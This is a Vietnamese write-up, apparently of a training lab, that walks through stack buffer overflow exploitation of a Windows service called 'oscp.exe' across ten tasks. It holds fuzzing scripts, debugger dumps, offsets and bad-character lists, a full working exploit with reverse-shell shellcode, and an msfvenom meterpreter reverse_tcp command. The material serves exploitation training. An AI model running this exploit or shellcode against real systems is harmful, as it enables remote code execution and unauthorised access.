Overflow 1

Sử dụng script sau để fuzzing:

#!/usr/bin/env python3
 
import socket, time, sys
 
ip = "127.0.0.1"
 
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
 
string = prefix + "A" * 100
 
while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

Chương trình crash với chuỗi có độ dài 2000-byte. Sử dụng chuỗi de Brujin có độ dài 2400-byte thì tìm được offset ở vị trí 1978 byte.

Sử dụng các script của mona ở trong Immunity Debugger, tìm được các bad character như sau: 0x00 0x07 0x2e 0xa0 (loại trừ 0x08 0x2f 0xa1 vì các byte này bị ảnh hưởng bởi byte trước đó chứ không thực sự là bad character).

Một số địa chỉ của chỉ thị jmp esp:

  • 0x62501203
  • 0x62501205

Viết script để khai thác như sau:

import socket
 
ip = "10.10.131.227"
port = 1337
 
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "\x03\x12\x50\x62"
padding = "\x90" * 16
payload = ("\xbf\xf7\xaf\x90\x35\xda\xd9\xd9\x74\x24\xf4\x5a\x33\xc9"
"\xb1\x52\x31\x7a\x12\x83\xea\xfc\x03\x8d\xa1\x72\xc0\x8d"
"\x56\xf0\x2b\x6d\xa7\x95\xa2\x88\x96\x95\xd1\xd9\x89\x25"
"\x91\x8f\x25\xcd\xf7\x3b\xbd\xa3\xdf\x4c\x76\x09\x06\x63"
"\x87\x22\x7a\xe2\x0b\x39\xaf\xc4\x32\xf2\xa2\x05\x72\xef"
"\x4f\x57\x2b\x7b\xfd\x47\x58\x31\x3e\xec\x12\xd7\x46\x11"
"\xe2\xd6\x67\x84\x78\x81\xa7\x27\xac\xb9\xe1\x3f\xb1\x84"
"\xb8\xb4\x01\x72\x3b\x1c\x58\x7b\x90\x61\x54\x8e\xe8\xa6"
"\x53\x71\x9f\xde\xa7\x0c\x98\x25\xd5\xca\x2d\xbd\x7d\x98"
"\x96\x19\x7f\x4d\x40\xea\x73\x3a\x06\xb4\x97\xbd\xcb\xcf"
"\xac\x36\xea\x1f\x25\x0c\xc9\xbb\x6d\xd6\x70\x9a\xcb\xb9"
"\x8d\xfc\xb3\x66\x28\x77\x59\x72\x41\xda\x36\xb7\x68\xe4"
"\xc6\xdf\xfb\x97\xf4\x40\x50\x3f\xb5\x09\x7e\xb8\xba\x23"
"\xc6\x56\x45\xcc\x37\x7f\x82\x98\x67\x17\x23\xa1\xe3\xe7"
"\xcc\x74\xa3\xb7\x62\x27\x04\x67\xc3\x97\xec\x6d\xcc\xc8"
"\x0d\x8e\x06\x61\xa7\x75\xc1\x84\x33\x3a\x32\xf1\x41\xc4"
"\x31\x38\xcf\x22\x53\x2a\x99\xfd\xcc\xd3\x80\x75\x6c\x1b"
"\x1f\xf0\xae\x97\xac\x05\x60\x50\xd8\x15\x15\x90\x97\x47"
"\xb0\xaf\x0d\xef\x5e\x3d\xca\xef\x29\x5e\x45\xb8\x7e\x90"
"\x9c\x2c\x93\x8b\x36\x52\x6e\x4d\x70\xd6\xb5\xae\x7f\xd7"
"\x38\x8a\x5b\xc7\x84\x13\xe0\xb3\x58\x42\xbe\x6d\x1f\x3c"
"\x70\xc7\xc9\x93\xda\x8f\x8c\xdf\xdc\xc9\x90\x35\xab\x35"
"\x20\xe0\xea\x4a\x8d\x64\xfb\x33\xf3\x14\x04\xee\xb7\x35"
"\xe7\x3a\xc2\xdd\xbe\xaf\x6f\x80\x40\x1a\xb3\xbd\xc2\xae"
"\x4c\x3a\xda\xdb\x49\x06\x5c\x30\x20\x17\x09\x36\x97\x18"
"\x18")
postfix = ""
 
buffer = prefix + overflow + retn + padding + payload + postfix
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Shellcode ở trong payload là một reverse shell:

Overflow 2

Chương trình crash khi truyền vào chuỗi có kích thước 2000-byte.

Tìm được offset ở vị trí 634 và các bad character là 0x00 0x23 0x3c 0x83 0xba.

Tạo ra một shellcode có chứa meterpreter shell:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=1337 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c

Vì việc tương tác với máy mục tiêu thông qua RDP quá chậm nên ta sẽ tải về tập tin thực thi để có thể phân tích ở máy của kẻ tấn công.

Để có thể chạy tập tin thực thi ở trên Linux, ta có thể dùng wine và debug bằng gdb kết hợp với gef. Điểm trừ của việc này là ta không có các mona script của Immunity Debugger để thực thi một số tác vụ tự động.

Việc khai thác tương tự với Overflow 1: địa chỉ của jmp esp và số lượng byte đệm không thay đổi.

Overflow 3

Chương trình crash khi truyền vào chuỗi có kích thước 1300 byte.

Quay trở lại sử dụng Immunity Debugger + `mona` do `gdb` không thoát ra khi một thread bị crash.
Một lát sau, phát hiện rằng ta có thể chuyển thread ở trong `gdb` sử dụng lệnh `thread #` sau khi kết nối của socket đã được thiết lập 🤣.

Tìm được offset ở vị trí 1274 thông qua các hàm của pwntools:

>>> from pwn import *
>>> g = cyclic_gen()
>>> g.get(1700)
>>> ...
>>> g.find(0x61746d61)
(1274, 0, 1274)

Sử dụng script sau để tạo ra các bad character và lưu chúng vào tập tin:

with open("badchars.bin", "wb") as f:
    for x in range(1, 256):
        if x not in [0x00]:
            print("\\x" + "{:02x}".format(x), end='')
            f.write(bytes([x]))
print()

Để xác định bad characters trong gdb, cần tạo một payload ghi đè giá trị của thanh ghi EIP với một địa chỉ chứa lệnh jmp esp và đặt break point ở đó:

prefix = "OVERFLOW3 "
offset = 1274
overflow = "A" * offset
retn = "\x03\x12\x50\x62"
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""

Điều này cho phép quan sát toàn bộ các bad character trên stack ngay khi EIP được thực thi:

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x00eef4f0  →  "OVERFLOW3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebx   : 0x41414141 ("AAAA"?)
$ecx   : 0x00eef4f0  →  "OVERFLOW3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$edx   : 0x0       
$esp   : 0x00eef9f8  →  0x04030201  →  0x00000000
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x0       
$edi   : 0x0       
$eip   : 0x62501203  →  0xe4ffe4ff  →  0x00000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x63 $gs: 0x6b 
──────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00eef9f8│+0x0000: 0x04030201  0x00000000 $esp
0x00eef9fc│+0x0004: 0x08070605  0x00000000
0x00eefa00│+0x0008: 0x0c0b0a09  0x00000000
0x00eefa04│+0x000c: 0x100f0e0d  0x00000000
0x00eefa08│+0x0010: 0x14130d0a  0x00000000
0x00eefa0c│+0x0014: 0x18171615  0x00000000
0x00eefa10│+0x0018: 0x1c1b1a19  0x00000000
0x00eefa14│+0x001c: 0x201f1e1d
────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
   0x625011ff                  ret    
   0x62501200                  push   ebp
   0x62501201                  mov    ebp, esp
●→ 0x62501203                  jmp    esp
   0x62501205                  jmp    esp
   0x62501207                  jmp    DWORD PTR [esp-0xc]
   0x6250120b                  pop    ecx
   0x6250120c                  pop    ecx
   0x6250120d                  ret    
────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "oscp.exe", stopped 0xef13d579 in __kernel_vsyscall (), reason: BREAKPOINT
[#1] Id 2, Name: "oscp.exe", stopped 0x62501203 in ?? (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x62501203 → jmp esp
───────────────────────────────────────────────────────────────────────────────────────────────────

Trích xuất giá trị của các bad character ở trên stack ra tập tin dump.bin. Sau đó, sử dụng script sau để so sánh hai tập tin:

import sys
 
def compare_files(file1, file2):
    try:
        with open(file1, "rb") as f1, open(file2, "rb") as f2:
            addr = 0
 
            while True:
                block1 = f1.read(16)
                block2 = f2.read(16)
 
                if not block1 and not block2:
                    break  # End of both files
 
                # Compare blocks and print differing bytes
                for i in range(len(block1)):
                    if i < len(block2) and block1[i] != block2[i]:
                        print(f"Difference at {addr + i:08x}: {block1[i]:02x} ({file1}) != {block2[i]:02x} ({file2})")
 
                addr += 16
 
            print("Comparison complete.")
 
    except FileNotFoundError as e:
        print(f"Error: {e}")
        sys.exit(1)
 
if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python compare_files.py <file1> <file2>")
        sys.exit(1)
 
    file1, file2 = sys.argv[1], sys.argv[2]
    compare_files(file1, file2)

Tìm thấy các bad character là: 0x00 0x11 0x40 0x5F 0xb8 0xee.

Xây dựng script khai thác và gửi đi.

Từ task này trở đi, mọi thứ chỉ dừng lại ở việc tìm được offset và các bad character.

Overflow 4

Trạng thái của gdb ngay tại thời điểm chương trình bị crash:

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x00eef200  →  "OVERFLOW4 tabduabdvabdwabdxabdyabdzabebabecabedabe[...]"
$ebx   : 0x61797862 ("bxya"?)
$ecx   : 0x00eef200  →  "OVERFLOW4 tabduabdvabdwabdxabdyabdzabebabecabedabe[...]"
$edx   : 0x0       
$esp   : 0x00eef9f8  →  "bycabydabyeabyfabygabyhabyiabyjabykabylabymabynaby[...]"
$ebp   : 0x617a7862 ("bxza"?)
$esi   : 0x0       
$edi   : 0x0       
$eip   : 0x61627962 ("byba"?)
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x63 $gs: 0x6b 
────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00eef9f8│+0x0000: "bycabydabyeabyfabygabyhabyiabyjabykabylabymabynaby[...]" $esp
0x00eef9fc│+0x0004: "bydabyeabyfabygabyhabyiabyjabykabylabymabynabyoaby[...]"
0x00eefa00│+0x0008: "byeabyfabygabyhabyiabyjabykabylabymabynabyoabypaby[...]"
0x00eefa04│+0x000c: "byfabygabyhabyiabyjabykabylabymabynabyoabypabyqaby[...]"
0x00eefa08│+0x0010: "bygabyhabyiabyjabykabylabymabynabyoabypabyqabyraby[...]"
0x00eefa0c│+0x0014: "byhabyiabyjabykabylabymabynabyoabypabyqabyrabysaby[...]"
0x00eefa10│+0x0018: "byiabyjabykabylabymabynabyoabypabyqabyrabysabytaby[...]"
0x00eefa14│+0x001c: "byjabykabylabymabynabyoabypabyqabyrabysabytabyuaby[...]"
──────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61627962
──────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "oscp.exe", stopped 0xf4d5d579 in __kernel_vsyscall (), reason: SIGSEGV
[#1] Id 2, Name: "oscp.exe", stopped 0x61627962 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────────────

Tìm được offset ở 2026:

>>> g.find(0x61627962)
(5000, 2, 2026)

Tìm được các bad character: \x00\xa9\xcd\xd4.

Overflow 5

Chúng ta cũng có thể tận dụng crash dump của wine để xác định giá trị ở trong EIP mà không cần dùng gdb:

Register dump:
 CS:0023 SS:002b DS:002b ES:002b FS:0063 GS:006b
 EIP:66636179 ESP:00eef9f8 EBP:66636178 EFLAGS:00010246(  R- --  I  Z- -P- )
 EAX:00eef8b0 EBX:66636177 ECX:00eef8b0 EDX:00000000
 ESI:00000000 EDI:00000000
Stack dump:
0x00eef9f8:  6763617a 67636162 67636163 67636164
0x00eefa08:  67636165 67636166 67636167 67636168
0x00eefa18:  67636169 6763616a 6763616b 6763616c
0x00eefa28:  6763616d 6763616e 6763616f 67636170
0x00eefa38:  67636171 67636172 67636173 67636174
0x00eefa48:  67636175 67636176 67636177 67636178
Backtrace:
=>0 0x66636179 (0x66636178)

Tìm thấy offset ở 314.

Các bad character là \x00\x16\x2f\xf4\xfd.

Overflow 6

Crash dump:

Register dump:
 CS:0023 SS:002b DS:002b ES:002b FS:0063 GS:006b
 EIP:61686164 ESP:00eef9f8 EBP:61676164 EFLAGS:00010246(  R- --  I  Z- -P- )
 EAX:00eef5e0 EBX:61666164 ECX:00eef5e0 EDX:00000000
 ESI:00000000 EDI:00000000

Offset: 1034.

Bad characters: \x00\x08\x2c\xad.

Overflow 7

Crash dump:

Register dump:
 CS:0023 SS:002b DS:002b ES:002b FS:0063 GS:006b
 EIP:72656164 ESP:00eef9f8 EBP:72656163 EFLAGS:00010246(  R- --  I  Z- -P- )
 EAX:00eef4d0 EBX:72656162 ECX:00eef4d0 EDX:00000000
 ESI:00000000 EDI:00000000

Offset: 1306.

Bad characters: \x00\x8c\xae\xbe\xfb.

Overflow 8

Offset: 1786.

Bad characters: \x00\x1d\x2e\xc7\xee.

Overflow 9

Offset: 1514.

Bad characters: \x00\x04\x3e\x3f\xe1. Cần thực hiện hai lần để thu được các giá trị này:

─❯ python bindiff.py badchars.bin dump.bin
Difference at 00000003: 04 (badchars.bin) != 0a (dump.bin)
Difference at 00000004: 05 (badchars.bin) != 0d (dump.bin)
Difference at 0000003d: 3e (badchars.bin) != 0a (dump.bin)
Difference at 0000003e: 3f (badchars.bin) != 0d (dump.bin)
Difference at 000000e0: e1 (badchars.bin) != 0a (dump.bin)
Difference at 000000e1: e2 (badchars.bin) != 0d (dump.bin)
Comparison complete.
─❯ python bindiff.py badchars.bin dump.bin
Difference at 0000003c: 3f (badchars.bin) != 0a (dump.bin)
Difference at 0000003d: 40 (badchars.bin) != 0d (dump.bin)
Comparison complete.

Overflow 10

Offset: 537.